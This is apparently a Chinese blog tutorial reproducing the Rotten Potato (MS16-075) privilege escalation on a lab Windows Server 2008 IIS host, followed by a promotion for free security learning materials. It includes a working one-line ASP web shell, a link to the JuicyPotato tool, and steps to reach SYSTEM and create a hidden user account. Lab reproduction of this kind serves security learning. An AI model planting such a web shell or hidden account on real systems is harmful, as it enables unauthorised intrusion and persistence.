Windows烂土豆提权复现(MS16-075)

前言

烂土豆(Rotten Potato) MS16-075
提权是一个本地提权，只针对本地用户，不支持域用户,当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块
(SMB)
中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。攻击者登录系统后，运行一个经特殊设计的应用程序利用此漏洞，从而控制受影响的系统。
影响版本： Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server
2012 等，以上版本系统若未安装相应补丁，则大概率存在此漏洞。

提权原理

1. 欺骗 “NT AUTHORITY\\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2. 对这个认证过程使用中间人攻击（NTLM重放），为“NT
   AUTHORITY\\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。

模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户（IIS、MSSQL等）有这个权限，大多数用户级的账户没有这个权限。
4.
重点是模拟令牌，在提权的过程中，我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户，通常Windows中的许多服务具有此权限（IIS和SQL
Server等）

实验环境搭建

漏洞主机：Windows Server 2008 + IIS服务器

复现步骤

• 安装好一台Windows Server 2008的虚拟机，然后再添加Web 服务器(IIS)

• 安装完成后，再进入到网站的默认目录下，创建一个upload 的文件夹，并且给与everyone都可以执行的权限

• 然后再到upload文件下创建一个.asp的木马文件，用于菜刀连接（模拟上传木马）

  <%execute request(“a”)%>

• 木马上传成功后就直接用菜刀连接，接下来使用命令行查看当前用户的权限，​ 此处发现其拥有SeImpersonate权限

• 接下来使用菜刀上传漏洞的利用工具：JuicyPotatoweb.exe

  https://github.com/shanfenglan/test/tree/master/juicypotato

• 上传成功后，然后使用JuicyPotatoweb.exe执行如下命令进行提权

• 看到成功执行，并且是以system的权限来执行whoami的，那就继续通过这个命令行，创建一个隐藏用户

• 创建成功后，直接使用隐藏用户来登录

最后

从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。

因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。

干货主要有：

①1000+CTF历届题库（主流和经典的应该都有了）

②CTF技术文档（最全中文版）

③项目源码（四五十个有趣且经典的练手项目及源码）

④ CTF大赛、web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

扫码领取